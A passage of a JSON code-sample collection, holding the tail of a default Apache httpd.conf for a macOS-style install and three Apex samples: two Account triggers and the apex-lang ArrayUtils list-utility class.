directive\n# at a local disk.  If you wish to share the same ServerRoot for multiple\n# httpd daemons, you will need to change at least LockFile and PidFile.\n#\nServerRoot \"/usr\"\n\n#\n# Listen: Allows you to bind Apache to specific IP addresses and/or\n# ports, instead of the default. See also the <VirtualHost>\n# directive.\n#\n# Change this to Listen on specific IP addresses as shown below to \n# prevent Apache from glomming onto all bound IP addresses.\n#\n#Listen 12.34.56.78:80\nListen 80\n\n#\n# Dynamic Shared Object (DSO) Support\n#\n# To be able to use the functionality of a module which was built as a DSO you\n# have to place corresponding `LoadModule' lines at this location so the\n# directives contained in it are actually available _before_ they are used.\n# Statically compiled modules (those listed by `httpd -l') do not need\n# to be loaded here.\n#\n# Example:\n# LoadModule foo_module modules/mod_foo.so\n#\nLoadModule authn_file_module libexec/apache2/mod_authn_file.so\nLoadModule authn_dbm_module libexec/apache2/mod_authn_dbm.so\nLoadModule authn_anon_module libexec/apache2/mod_authn_anon.so\nLoadModule authn_dbd_module libexec/apache2/mod_authn_dbd.so\nLoadModule authn_default_module libexec/apache2/mod_authn_default.so\nLoadModule authz_host_module libexec/apache2/mod_authz_host.so\nLoadModule authz_groupfile_module libexec/apache2/mod_authz_groupfile.so\nLoadModule authz_user_module libexec/apache2/mod_authz_user.so\nLoadModule authz_dbm_module libexec/apache2/mod_authz_dbm.so\nLoadModule authz_owner_module libexec/apache2/mod_authz_owner.so\nLoadModule authz_default_module libexec/apache2/mod_authz_default.so\nLoadModule auth_basic_module libexec/apache2/mod_auth_basic.so\nLoadModule auth_digest_module libexec/apache2/mod_auth_digest.so\nLoadModule cache_module libexec/apache2/mod_cache.so\nLoadModule disk_cache_module libexec/apache2/mod_disk_cache.so\nLoadModule mem_cache_module libexec/apache2/mod_mem_cache.so\nLoadModule dbd_module libexec/apache2/mod_dbd.so\nLoadModule dumpio_module libexec/apache2/mod_dumpio.so\nLoadModule reqtimeout_module libexec/apache2/mod_reqtimeout.so\nLoadModule ext_filter_module libexec/apache2/mod_ext_filter.so\nLoadModule include_module libexec/apache2/mod_include.so\nLoadModule filter_module libexec/apache2/mod_filter.so\nLoadModule substitute_module libexec/apache2/mod_substitute.so\nLoadModule deflate_module libexec/apache2/mod_deflate.so\nLoadModule log_config_module libexec/apache2/mod_log_config.so\nLoadModule log_forensic_module libexec/apache2/mod_log_forensic.so\nLoadModule logio_module libexec/apache2/mod_logio.so\nLoadModule env_module libexec/apache2/mod_env.so\nLoadModule mime_magic_module libexec/apache2/mod_mime_magic.so\nLoadModule cern_meta_module libexec/apache2/mod_cern_meta.so\nLoadModule expires_module libexec/apache2/mod_expires.so\nLoadModule headers_module libexec/apache2/mod_headers.so\nLoadModule ident_module libexec/apache2/mod_ident.so\nLoadModule usertrack_module libexec/apache2/mod_usertrack.so\n#LoadModule unique_id_module libexec/apache2/mod_unique_id.so\nLoadModule setenvif_module libexec/apache2/mod_setenvif.so\nLoadModule version_module libexec/apache2/mod_version.so\nLoadModule proxy_module libexec/apache2/mod_proxy.so\nLoadModule proxy_connect_module libexec/apache2/mod_proxy_connect.so\nLoadModule proxy_ftp_module libexec/apache2/mod_proxy_ftp.so\nLoadModule proxy_http_module libexec/apache2/mod_proxy_http.so\nLoadModule proxy_scgi_module libexec/apache2/mod_proxy_scgi.so\nLoadModule proxy_ajp_module libexec/apache2/mod_proxy_ajp.so\nLoadModule proxy_balancer_module libexec/apache2/mod_proxy_balancer.so\nLoadModule ssl_module libexec/apache2/mod_ssl.so\nLoadModule mime_module libexec/apache2/mod_mime.so\nLoadModule dav_module libexec/apache2/mod_dav.so\nLoadModule status_module libexec/apache2/mod_status.so\nLoadModule autoindex_module libexec/apache2/mod_autoindex.so\nLoadModule asis_module libexec/apache2/mod_asis.so\nLoadModule info_module libexec/apache2/mod_info.so\nLoadModule cgi_module libexec/apache2/mod_cgi.so\nLoadModule dav_fs_module libexec/apache2/mod_dav_fs.so\nLoadModule vhost_alias_module libexec/apache2/mod_vhost_alias.so\nLoadModule negotiation_module libexec/apache2/mod_negotiation.so\nLoadModule dir_module libexec/apache2/mod_dir.so\nLoadModule imagemap_module libexec/apache2/mod_imagemap.so\nLoadModule actions_module libexec/apache2/mod_actions.so\nLoadModule speling_module libexec/apache2/mod_speling.so\nLoadModule userdir_module libexec/apache2/mod_userdir.so\nLoadModule alias_module libexec/apache2/mod_alias.so\nLoadModule rewrite_module libexec/apache2/mod_rewrite.so\n#LoadModule perl_module libexec/apache2/mod_perl.so\n#LoadModule php5_module libexec/apache2/libphp5.so\n#LoadModule hfs_apple_module libexec/apache2/mod_hfs_apple.so\n\n<IfModule !mpm_netware_module>\n<IfModule !mpm_winnt_module>\n#\n# If you wish httpd to run as a different user or group, you must run\n# httpd as root initially and it will switch.  \n#\n# User/Group: The name (or #number) of the user/group to run httpd as.\n# It is usually good practice to create a dedicated user and group for\n# running httpd, as with most system services.\n#\nUser _www\nGroup _www\n\n</IfModule>\n</IfModule>\n\n# 'Main' server configuration\n#\n# The directives in this section set up the values used by the 'main'\n# server, which responds to any requests that aren't handled by a\n# <VirtualHost> definition.  These values also provide defaults for\n# any <VirtualHost> containers you may define later in the file.\n#\n# All of these directives may appear inside <VirtualHost> containers,\n# in which case these default settings will be overridden for the\n# virtual host being defined.\n#\n\n#\n# ServerAdmin: Your address, where problems with the server should be\n# e-mailed.  This address appears on some server-generated pages, such\n# as error documents.  e.g. admin@your-domain.com\n#\nServerAdmin you@example.com\n\n#\n# ServerName gives the name and port that the server uses to identify itself.\n# This can often be determined automatically, but we recommend you specify\n# it explicitly to prevent problems during startup.\n#\n# If your host doesn't have a registered DNS name, enter its IP address here.\n#\n#ServerName www.example.com:80\n\n#\n# DocumentRoot: The directory out of which you will serve your\n# documents. By default, all requests are taken from this directory, but\n# symbolic links and aliases may be used to point to other locations.\n#\nDocumentRoot \"/Library/WebServer/Documents\"\n\n#\n# Each directory to which Apache has access can be configured with respect\n# to which services and features are allowed and/or disabled in that\n# directory (and its subdirectories). \n#\n# First, we configure the \"default\" to be a very restrictive set of \n# features.  \n#\n<Directory />\n    Options FollowSymLinks\n    AllowOverride None\n    Order deny,allow\n    Deny from all\n</Directory>\n\n#\n# Note that from this point forward you must specifically allow\n# particular features to be enabled - so if something's not working as\n# you might expect, make sure that you have specifically enabled it\n# below.\n#\n\n#\n# This should be changed to whatever you set DocumentRoot to.\n#\n<Directory \"/Library/WebServer/Documents\">\n    #\n    # Possible values for the Options directive are \"None\", \"All\",\n    # or any combination of:\n    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews\n    #\n    # Note that \"MultiViews\" must be named *explicitly* --- \"Options All\"\n    # doesn't give it to you.\n    #\n    # The Options directive is both complicated and important.  Please see\n    # http://httpd.apache.org/docs/2.2/mod/core.html#options\n    # for more information.\n    #\n    Options Indexes FollowSymLinks MultiViews\n\n    #\n    # AllowOverride controls what directives may be placed in .htaccess files.\n    # It can be \"All\", \"None\", or any combination of the keywords:\n    #   Options FileInfo AuthConfig Limit\n    #\n    AllowOverride None\n\n    #\n    # Controls who can get stuff from this server.\n    #\n    Order allow,deny\n    Allow from all\n\n</Directory>\n\n#\n# DirectoryIndex: sets the file that Apache will serve if a directory\n# is requested.\n#\n<IfModule dir_module>\n    DirectoryIndex index.html\n</IfModule>\n\n#\n# The following lines prevent .htaccess and .htpasswd files from being \n# viewed by Web clients. \n#\n<FilesMatch \"^\\.([Hh][Tt]|[Dd][Ss]_[Ss])\">\n    Order allow,deny\n    Deny from all\n    Satisfy All\n</FilesMatch>\n\n#\n# Apple specific filesystem protection.\n#\n<Files \"rsrc\">\n    Order allow,deny\n    Deny from all\n    Satisfy All\n</Files>\n<DirectoryMatch \".*\\.\\.namedfork\">\n    Order allow,deny\n    Deny from all\n    Satisfy All\n</DirectoryMatch>\n\n#\n# ErrorLog: The location of the error log file.\n# If you do not specify an ErrorLog directive within a <VirtualHost>\n# container, error messages relating to that virtual host will be\n# logged here.  If you *do* define an error logfile for a <VirtualHost>\n# container, that host's errors will be logged there and not here.\n#\nErrorLog \"/private/var/log/apache2/error_log\"\n\n#\n# LogLevel: Control the number of messages logged to the error_log.\n# Possible values include: debug, info, notice, warn, error, crit,\n# alert, emerg.\n#\nLogLevel warn\n\n<IfModule log_config_module>\n    #\n    # The following directives define some format nicknames for use with\n    # a CustomLog directive (see below).\n    #\n    LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" combined\n    LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b\" common\n\n    <IfModule logio_module>\n      # You need to enable mod_logio.c to use %I and %O\n      LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\" %I %O\" combinedio\n    </IfModule>\n\n    #\n    # The location and format of the access logfile (Common Logfile Format).\n    # If you do not define any access logfiles within a <VirtualHost>\n    # container, they will be logged here.  Contrariwise, if you *do*\n    # define per-<VirtualHost> access logfiles, transactions will be\n    # logged therein and *not* in this file.\n    #\n    CustomLog \"/private/var/log/apache2/access_log\" common\n\n    #\n    # If you prefer a logfile with access, agent, and referer information\n    # (Combined Logfile Format) you can use the following directive.\n    #\n    #CustomLog \"/private/var/log/apache2/access_log\" combined\n</IfModule>\n\n<IfModule alias_module>\n    #\n    # Redirect: Allows you to tell clients about documents that used to \n    # exist in your server's namespace, but do not anymore. The client \n    # will make a new request for the document at its new location.\n    # Example:\n    # Redirect permanent /foo http://www.example.com/bar\n\n    #\n    # Alias: Maps web paths into filesystem paths and is used to\n    # access content that does not live under the DocumentRoot.\n    # Example:\n    # Alias /webpath /full/filesystem/path\n    #\n    # If you include a trailing / on /webpath then the server will\n    # require it to be present in the URL.  You will also likely\n    # need to provide a <Directory> section to allow access to\n    # the filesystem path.\n\n    #\n    # ScriptAlias: This controls which directories contain server scripts. \n    # ScriptAliases are essentially the same as Aliases, except that\n    # documents in the target directory are treated as applications and\n    # run by the server when requested rather than as documents sent to the\n    # client.  The same rules about trailing \"/\" apply to ScriptAlias\n    # directives as to Alias.\n    #\n    ScriptAliasMatch ^/cgi-bin/((?!(?i:webobjects)).*$) \"/Library/WebServer/CGI-Executables/$1\"\n\n</IfModule>\n\n<IfModule cgid_module>\n    #\n    # ScriptSock: On threaded servers, designate the path to the UNIX\n    # socket used to communicate with the CGI daemon of mod_cgid.\n    #\n    #Scriptsock /private/var/run/cgisock\n</IfModule>\n\n#\n# \"/Library/WebServer/CGI-Executables\" should be changed to whatever your ScriptAliased\n# CGI directory exists, if you have that configured.\n#\n<Directory \"/Library/WebServer/CGI-Executables\">\n    AllowOverride None\n    Options None\n    Order allow,deny\n    Allow from all\n</Directory>\n\n#\n# DefaultType: the default MIME type the server will use for a document\n# if it cannot otherwise determine one, such as from filename extensions.\n# If your server contains mostly text or HTML documents, \"text/plain\" is\n# a good value.  If most of your content is binary, such as applications\n# or images, you may want to use \"application/octet-stream\" instead to\n# keep browsers from trying to display binary files as though they are\n# text.\n#\nDefaultType text/plain\n\n<IfModule mime_module>\n    #\n    # TypesConfig points to the file containing the list of mappings from\n    # filename extension to MIME-type.\n    #\n    TypesConfig /private/etc/apache2/mime.types\n\n    #\n    # AddType allows you to add to or override the MIME configuration\n    # file specified in TypesConfig for specific file types.\n    #\n    #AddType application/x-gzip .tgz\n    #\n    # AddEncoding allows you to have certain browsers uncompress\n    # information on the fly. Note: Not all browsers support this.\n    #\n    #AddEncoding x-compress .Z\n    #AddEncoding x-gzip .gz .tgz\n    #\n    # If the AddEncoding directives above are commented-out, then you\n    # probably should define those extensions to indicate media types:\n    #\n    AddType application/x-compress .Z\n    AddType application/x-gzip .gz .tgz\n\n    #\n    # AddHandler allows you to map certain file extensions to \"handlers\":\n    # actions unrelated to filetype. These can be either built into the server\n    # or added with the Action directive (see below)\n    #\n    # To use CGI scripts outside of ScriptAliased directories:\n    # (You will also need to add \"ExecCGI\" to the \"Options\" directive.)\n    #\n    #AddHandler cgi-script .cgi\n\n    # For type maps (negotiated resources):\n    #AddHandler type-map var\n\n    #\n    # Filters allow you to process content before it is sent to the client.\n    #\n    # To parse .shtml files for server-side includes (SSI):\n    # (You will also need to add \"Includes\" to the \"Options\" directive.)\n    #\n    #AddType text/html .shtml\n    #AddOutputFilter INCLUDES .shtml\n</IfModule>\n\n#\n# The mod_mime_magic module allows the server to use various hints from the\n# contents of the file itself to determine its type.  The MIMEMagicFile\n# directive tells the module where the hint definitions are located.\n#\n#MIMEMagicFile /private/etc/apache2/magic\n\n#\n# Customizable error responses come in three flavors:\n# 1) plain text 2) local redirects 3) external redirects\n#\n# Some examples:\n#ErrorDocument 500 \"The server made a boo boo.\"\n#ErrorDocument 404 /missing.html\n#ErrorDocument 404 \"/cgi-bin/missing_handler.pl\"\n#ErrorDocument 402 http://www.example.com/subscription_info.html\n#\n\n#\n# MaxRanges: Maximum number of Ranges in a request before\n# returning the entire resource, or one of the special\n# values 'default', 'none' or 'unlimited'.\n# Default setting is to accept 200 Ranges.\n#MaxRanges unlimited\n\n#\n# EnableMMAP and EnableSendfile: On systems that support it, \n# memory-mapping or the sendfile syscall is used to deliver\n# files.  This usually improves server performance, but must\n# be turned off when serving from networked-mounted \n# filesystems or if support for these functions is otherwise\n# broken on your system.\n#\n#EnableMMAP off\n#EnableSendfile off\n\n# 6894961\nTraceEnable off\n\n# Supplemental configuration\n#\n# The configuration files in the /private/etc/apache2/extra/ directory can be \n# included to add extra features or to modify the default configuration of \n# the server, or you may simply copy their contents here and change as \n# necessary.\n\n# Server-pool management (MPM specific)\nInclude /private/etc/apache2/extra/httpd-mpm.conf\n\n# Multi-language error messages\n#Include /private/etc/apache2/extra/httpd-multilang-errordoc.conf\n\n# Fancy directory listings\nInclude /private/etc/apache2/extra/httpd-autoindex.conf\n\n# Language settings\nInclude /private/etc/apache2/extra/httpd-languages.conf\n\n# User home directories\nInclude /private/etc/apache2/extra/httpd-userdir.conf\n\n# Real-time info on requests and configuration\n#Include /private/etc/apache2/extra/httpd-info.conf\n\n# Virtual hosts\n#Include /private/etc/apache2/extra/httpd-vhosts.conf\n\n# Local access to the Apache HTTP Server Manual\nInclude /private/etc/apache2/extra/httpd-manual.conf\n\n# Distributed authoring and versioning (WebDAV)\n#Include /private/etc/apache2/extra/httpd-dav.conf\n\n# Various default settings\n#Include /private/etc/apache2/extra/httpd-default.conf\n\n# Secure (SSL/TLS) connections\n#Include /private/etc/apache2/extra/httpd-ssl.conf\n#\n# Note: The following must must be present to support\n#       starting without SSL on platforms with no /dev/random equivalent\n#       but a statically compiled-in mod_ssl.\n#\n<IfModule ssl_module>\nSSLRandomSeed startup builtin\nSSLRandomSeed connect builtin\n</IfModule>\n\nInclude /private/etc/apache2/other/*.conf\n"
  },
  {
    "path": "samples/Apex/AccountTrigger.trigger",
    "content": "trigger AccountTrigger on Account(\n    before insert,\n    after insert,\n    before update,\n    after update,\n    before delete,\n    after delete,\n    after undelete\n) {\n    // This trigger utilizes a trigger handler pattern & framework.\n    // For more information on how the framework operates, see the following classes:\n    // * TriggerHandler.cls\n    // * AccountTriggerHandler.cls\n\n    /**\n     * Our TriggerHandler framework can be invoked in one of two ways.\n     * 1. You can directly invoke a trigger handler class by name using this\n     * syntax: new TriggerHandlerName().run(); For instance, you could directly\n     * invoke the AccountTriggerHandler().run();\n     *\n     */\n\n    new AccountTriggerHandler().run();\n\n    /**\n     * 2. Alternatively, you can use the MetadataTriggerHandler().run();\n     * method. This is responsible for identifying from custom metadata which\n     * trigger handler classes are to be invoked, and in what order.\n     *\n     */\n\n    new MetadataTriggerHandler().run();\n}"
  },
  {
    "path": "samples/Apex/AddRelatedRecord.trigger",
    "content": "trigger AddRelatedRecord on Account(after insert, after update) {\n        List<Opportunity> oppList = new List<Opportunity>();\n        // Get the related opportunities for the accounts in this trigger\n        Map<Id,Account> acctsWithOpps = new Map<Id,Account>(\n            [SELECT Id,(SELECT Id FROM Opportunities) FROM Account WHERE Id IN :Trigger.new]);\n        // Add an opportunity for each account if it doesn't already have one.\n        // Iterate through each account.\n        for(Account a : Trigger.new) {\n            System.debug('acctsWithOpps.get(a.Id).Opportunities.size()=' + acctsWithOpps.get(a.Id).Opportunities.size());\n            // Check if the account already has a related opportunity.\n            if (acctsWithOpps.get(a.Id).Opportunities.size() == 0) {\n                // If it doesn't, add a default opportunity\n                oppList.add(new Opportunity(Name=a.Name + ' Opportunity',\n                                           StageName='Prospecting',\n                                           CloseDate=System.today().addMonths(1),\n                                           AccountId=a.Id));\n            }           \n        }\n        if (oppList.size() > 0) {\n            insert oppList;\n        }\n    }"
  },
  {
    "path": "samples/Apex/ArrayUtils.cls",
    "content": "/* ============================================================\n * This code is part of the \"apex-lang\" open source project avaiable at:\n * \n *      http://code.google.com/p/apex-lang/\n *\n * This code is licensed under the Apache License, Version 2.0.  You may obtain a \n * copy of the License at:\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * ============================================================\n */\nglobal class ArrayUtils {   \n    \n    global static String[] EMPTY_STRING_ARRAY = new String[]{};\n    global static Integer MAX_NUMBER_OF_ELEMENTS_IN_LIST {get{return 1000;}}\n    \n    global static List<String> objectToString(List<Object> objects){\n        List<String> strings = null;\n        if(objects != null){\n        \tstrings = new List<String>();\n        \tif(objects.size() > 0){\n\t            for(Object obj : objects){\n\t                if(obj instanceof String){\n\t                    strings.add((String)obj);\n\t                }\n\t            }\n        \t}\n        }\n        return strings;\n    }\n\n    global static Object[] reverse(Object[] anArray) {\n        if (anArray == null) {\n            return null;\n        }\n        Integer i = 0;\n        Integer j = anArray.size() - 1;\n        Object tmp;\n        while (j > i) {\n            tmp = anArray[j];\n            anArray[j] = anArray[i];\n            anArray[i] = tmp;\n            j--;\n            i++;\n        }\n        return anArray;\n    }\n    \n    global static SObject[] reverse(SObject[] anArray) {\n        if (anArray == null) {\n            return null;\n        }\n        Integer i = 0;\n        Integer j = anArray.size() - 1;\n        SObject tmp;\n        while (j > i) {\n            tmp = anArray[j];\n            anArray[j] = anArray[i];\n            anArray[i] = tmp;\n            j--;\n            i++;\n        }\n        return anArray;\n    }\n    \n    global static List<String> lowerCase(List<String> strs){\n        List<String> returnValue = null;\n        if(strs != null){\n            returnValue = new List<String>();\n        \tif(strs.size() > 0){\n\t            for(String str : strs){\n\t                returnValue.add(str == null ? null : str.toLowerCase());\n\t            }\n            }\n        }\n        return returnValue;\n    }\n    \n    global static List<String> upperCase(List<String> strs){\n        List<String> returnValue = null;\n        if(strs != null){\n            returnValue = new List<String>();\n            if(strs.size() > 0){\n\t            for(String str : strs){\n\t                returnValue.add(str == null ? null : str.toUpperCase());\n\t            }\n            }\n        }\n        return returnValue;\n    }\n    \n    global static List<String> trim(List<String> strs){\n        List<String> returnValue = null;\n        if(strs != null){\n            returnValue = new List<String>();\n            if(strs.size() > 0){\n\t            for(String str : strs){\n\t                returnValue.add(str == null ? null : str.trim());\n\t            }\n            }\n        }\n        return returnValue;\n    }\n    \n    global static Object[] mergex(Object[] array1, Object[] array2){\n        if(array1 == null){ return array2; }\n        if(array2 == null){ return array1; }\n        Object[] merged = new Object[array1.size() + array2.size()];\n        for(Integer i = 0; i < array1.size(); i++){\n            merged[i] = array1[i];\n        }\n        for(Integer i = 0; i < array2.size(); i++){\n            merged[i+array1.size()] = array2[i];\n        }\n        return merged;\n    }   \n     \n    global static SObject[] mergex(SObject[] array1, SObject[] array2){\n        if(array1 == null){ return array2; }\n        if(array2 == null){ return array1; }\n        if(array1.size() <= 0){ return array2; }\n        List<SObject> merged = new List<SObject>();\n        for(SObject sObj : array1){ merged.add(sObj); }\n        for(SObject sObj : array2){ merged.add(sObj); }\n        return merged;\n    }   \n    \n    global static Boolean isEmpty(Object[] objectArray){\n        if(objectArray == null){\n            return true;\n        }\n        return objectArray.size() == 0;\n    }\n    \n    global static Boolean isEmpty(SObject[] objectArray){\n        if(objectArray == null){\n            return true;\n        }\n        return objectArray.size() == 0;\n    }\n    \n    global static Boolean isNotEmpty(Object[] objectArray){\n        return !isEmpty(objectArray);\n    }\n    \n    global static Boolean isNotEmpty(SObject[] objectArray){\n        return !isEmpty(objectArray);\n    }\n    \n    global static Object[] pluck(SObject[] objectArray, String fieldName){\n        if(isEmpty(objectArray) || fieldName == null || fieldName.trim() == null || fieldName.trim().length() == 0){\n            return new Object[]{};\n        }\n        Object[] plucked = new Object[objectArray.size()];\n        for(Integer i = 0; i < objectArray.size(); i++){\n            plucked[i] = objectArray[i].get(fieldName);\n        }\n        return plucked;\n    }\n    \n    \n    global static String toString(Object[] objectArray){\n        if(objectArray == null){\n            return 'null';    \n        }\n        String returnValue = '{';\n        for(Integer i = 0; i < objectArray.size(); i++){\n            if(i!=0){ returnValue += ','; }\n            returnValue += '\\'' + objectArray[i] + '\\'';\n        }\n        returnValue += '}';\n        return returnValue; \n    }\n    \n    global static String toString(SObject[] objectArray){\n        if(objectArray == null){\n            return 'null';    \n        }\n        String returnValue = '{';\n        for(Integer i = 0; i < objectArray.size(); i++){\n            if(i!=0){ returnValue += ','; }\n            returnValue += '\\'' + objectArray[i] + '\\'';\n        }\n        returnValue += '}';\n        return returnValue; \n    }\n    \n    global static void assertArraysAreEqual(Object[] expected, Object[] actual){\n        //check to see if one param is null but the other is not\n        System.assert((expected == null && actual == null)|| (expected != null && actual != null),\n            'Assertion failed, the following two arrays are not equal.  Expected: ' \n                    + ArrayUtils.toString(expected) + ', Actual: ' + ArrayUtils.toString(actual));\n        if(expected != null && actual != null){\n            System.assert(expected.size() == actual.size(), 'Assertion failed, the following two arrays are not equal.  Expected: ' \n                    + ArrayUtils.toString(expected) + ', Actual: ' + ArrayUtils.toString(actual));\n            for(Integer i = 0; i < expected.size(); i++){\n                System.assert(expected[i] == actual[i], 'Assertion failed, the following two arrays are not equal.  Expected: ' \n                    + ArrayUtils.toString(expected) + ', Actual: ' + ArrayUtils.toString(actual));\n            }\n        }\n    }\n    \n    global static void assertArraysAreEqual(SObject[] expected, SObject[] actual){\n        //check to see if one param is null but the other is not\n        System.assert((expected == null && actual == null)|| (expected != null && actual != null),\n            'Assertion failed, the following two arrays are not equal.  Expected: ' \n                    + ArrayUtils.toString(expected) + ', Actual: ' + ArrayUtils.toString(actual));\n        if(expected != null && actual != null){\n            System.assert(expected.size() == actual.size(), 'Assertion failed, the following two arrays are not equal.  Expected: ' \n                    + ArrayUtils.toString(expected) + ', Actual: ' + ArrayUtils.toString(actual));\n            for(Integer i = 0; i < expected.size(); i++){\n                System.assert(expected[i] == actual[i], 'Assertion failed, the following two arrays are not equal.  Expected: ' \n                    + ArrayUtils.toString(expected) + ', Actual: ' + ArrayUtils.toString(actual));\n            }\n        }\n    }\n    \n    global static List<Object> merg(List<Object> list1, List<Object> list2) {\n        List<Object> returnList = new List<Object>();\n        if(list1 != null && list2 != null && (list1.size()+list2.size()) > MAX_NUMBER_OF_ELEMENTS_IN_LIST){\n            throw new IllegalArgumentException('Lists cannot be merged because new list would be greater than maximum number of elements in a list: ' + MAX_NUMBER_OF_ELEMENTS_IN_LIST);\n        }\n        if(isNotEmpty(list1)){\n            for(Object elmt : list1){\n                returnList.add(elmt);\n            }\n        }\n        if(isNotEmpty(list2)){\n            for(Object elmt : list2){\n                returnList.add(elmt);\n            }\n        }\n        return returnList;\n    }\n\n    \n    global static List<SObject> merg(List<SObject> list1, List<SObject> list2) {\n        if(list1 != null && list2 != null && (list1.size()+list2.size()) > MAX_NUMBER_OF_ELEMENTS_IN_LIST){\n            throw new IllegalArgumentException('Lists cannot be merged because new list would be greater than maximum number of elements in a list: ' + MAX_NUMBER_OF_ELEMENTS_IN_LIST);\n        }\n        if(isEmpty(list1) && isEmpty(list2)){\n            return null;\n        }\n        List<SObject> returnList = new List<SObject>();\n        if(list1 != null){\n            for(SObject elmt : list1){\n                returnList.add(elmt);\n            }\n        }\n        if(list2 != null){\n            for(SObject elmt : list2){\n                returnList.add(elmt);\n            }\n        }\n        return returnList;\n    }\n    \n    global static List<Object> subset(List<Object> aList, Integer count) {\n        return subset(aList,0,count);\n    }\n\n    global static List<Object> subset(List<Object> list1, Integer startIndex, Integer count) {\n        List<Object> returnList = new List<Object>();\n        if(list1 != null && list1.size() > 0 && startIndex >= 0 && startIndex <= list1.size()-1 && count > 0){\n            for(Integer i = startIndex; i < list1.size() && i - startIndex < count; i++){\n                returnList.add(list1.get(i));\n            }\n        }\n        return returnList;\n    }\n\n    \n    global static List<SObject> subset(List<SObject> aList, Integer count) {\n        return subset(aList,0,count);\n    }\n\n    global static List<SObject> subset(List<SObject> list1, Integer startIndex, Integer count) {\n        List<SObject> returnList = null;\n        if(list1 != null && list1.size() > 0 && startIndex <= list1.size()-1 && count > 0){\n            returnList = new List<SObject>();\n            for(Integer i = startIndex; i < list1.size() && i - startIndex < count; i++){\n                returnList.add(list1.get(i));\n            }\n        }\n        return returnList;\n    }\n    \n    //===============================================\n    //LIST/ARRAY SORTING\n    //===============================================\n\n    //FOR FORCE.COM PRIMITIVES (Double,Integer,ID,etc.):\n    global static List<Object> qsort(List<Object> theList) {\n        return qsort(theList,new PrimitiveComparator());\n    }\n\n    global static List<Object> qsort(List<Object> theList, Boolean sortAsc) {\n        return qsort(theList,new PrimitiveComparator(),sortAsc);\n    }\n    \n    global static List<Object> qsort(List<Object> theList, ObjectComparator comparator) {\n        return qsort(theList,comparator,true);\n    }\n    \n    global static List<Object> qsort(List<Object> theList, ObjectComparator comparator, Boolean sortAsc) {\n        return qsort(theList, 0, (theList == null ? 0 : theList.size()-1),comparator,sortAsc);\n    }\n    \n\n    \n    //FOR SALESFORCE OBJECTS (sObjects):\n    global static List<SObject> qsort(List<SObject> theList, ISObjectComparator comparator) {\n        return qsort(theList,comparator,true);\n    }\n    \n    global static List<SObject> qsort(List<SObject> theList, ISObjectComparator comparator,Boolean sortAsc ) {\n        return qsort(theList,  0, (theList == null ? 0 : theList.size()-1),comparator,sortAsc);\n    }\n\n    private static List<Object> qsort(List<Object> theList,\n                                Integer lo0, \n                                Integer hi0, \n                                ObjectComparator comparator,\n                                Boolean sortAsc){\n        Integer lo = lo0;\n        Integer hi = hi0;\n     \n        if (lo >= hi) {\n            return theList;\n        } else if( lo == hi - 1 ) {\n        \n            if (( comparator.compare(theList[lo],theList[hi])>0 && sortAsc) || \n                  (comparator.compare(theList[lo],theList[hi])<0 && !sortAsc)    \n                ) {\n                 Object prs = theList[lo];\n                 theList[lo]         = theList[hi];\n                 theList[hi]         = prs;\n            }\n            return theList;\n        }\n\n        Object pivot = theList[(lo + hi) / 2];\n        theList[(lo + hi) / 2] = theList[hi];\n        theList[hi] = pivot;\n\n        while( lo < hi ) {\n            while ((comparator.compare(theList[lo], pivot)<=0 && lo < hi && sortAsc) || \n                   (comparator.compare(theList[lo], pivot)>=0 && lo < hi && !sortAsc)\n                  ) { lo++; }\n            while (( comparator.compare(pivot,theList[hi])<=0 && lo < hi && sortAsc) ||\n                   ( comparator.compare(pivot,theList[hi])>=0 && lo < hi && !sortAsc)\n                  ) { hi--; }\n            \n            if( lo < hi ){\n                 Object prs = theList[lo];\n                 theList[lo]   = theList[hi];\n                 theList[hi]    = prs;\n            }\n        }\n\n        theList[hi0] = theList[hi];\n        theList[hi] = pivot;\n        \n        qsort(theList, lo0, lo-1,comparator,sortAsc);\n        qsort(theList, hi+1, hi0,comparator,sortAsc);\n        return theList;\n    }    \n        \n    \n    private static List<SObject> qsort(List<SObject> theList,\n                                Integer lo0, \n                                Integer hi0, \n                                ISObjectComparator comparator,\n                                Boolean sortAsc){\n        Integer lo = lo0;\n        Integer hi = hi0;\n     \n        if (lo >= hi) {\n            return theList;\n        } else if( lo == hi - 1 ) {\n        \n            if (( comparator.compare(theList[lo],theList[hi])>0 && sortAsc) || \n                  (comparator.compare(theList[lo],theList[hi])<0 && !sortAsc)    \n                ) {\n                 SObject prs = theList[lo];\n                 theList[lo]         = theList[hi];\n                 theList[hi]         = prs;\n            }\n            return theList;\n        }\n\n        SObject pivot = theList[(lo + hi) / 2];\n        theList[(lo + hi) / 2] = theList[hi];\n        theList[hi] = pivot;\n\n        while( lo < hi ) {\n            while ((comparator.compare(theList[lo], pivot)<=0 && lo < hi && sortAsc) || \n                   (comparator.compare(theList[lo], pivot)>=0 && lo < hi && !sortAsc)\n                  ) { lo++; }\n            while (( comparator.compare(pivot,theList[hi])<=0 && lo < hi && sortAsc) ||\n                   ( comparator.compare(pivot,theList[hi])>=0 && lo < hi && !sortAsc)\n                  ) { hi--; }\n            \n            if( lo < hi ){\n                 SObject prs = theList[lo];\n                 theList[lo]   = theList[hi];\n                 theList[hi]    = prs;\n            }\n        }\n\n        theList[hi0] = theList[hi];\n        theList[hi] = pivot;\n        \n        qsort(theList, lo0, lo-1,comparator,sortAsc);\n        qsort(theList, hi+1, hi0,comparator,sortAsc);\n        return theList;\n    }\n/*\n    global static List<Object> unique(List<Object> theList) {\n        List<Object> uniques = new List<Object>();\n        Set<Object> keys = new Set<Object>(); \n        if(theList != null && theList.size() > 0){\n            for(Object obj : theList){\n                if(keys.contains(obj)){\n                    continue;\n                } else {\n                    keys.add(obj);\n                    uniques.add(obj);\n                }\n            }\n        }\n        return uniques;\n    }\n\n    global static List<SObject> unique(List<SObject> theList) {\n        if(theList == null){\n            return null;\n        }\n        List<SObject> uniques = createEmptySObjectList(theList.get(0));\n        Set<String> keys = new Set<String>(); \n        if(theList != null && theList.size() > 0){\n            String key = null;\n            for(SObject obj : theList){\n                key = obj == null ? null : ''+obj;\n                if(keys.contains(key)){\n                    continue;\n                } else {\n                    keys.add(key);\n                    uniques.add(obj);\n                }\n            }\n        }\n        return uniques;\n    }\n*/\n\n\n}"
  },
  {
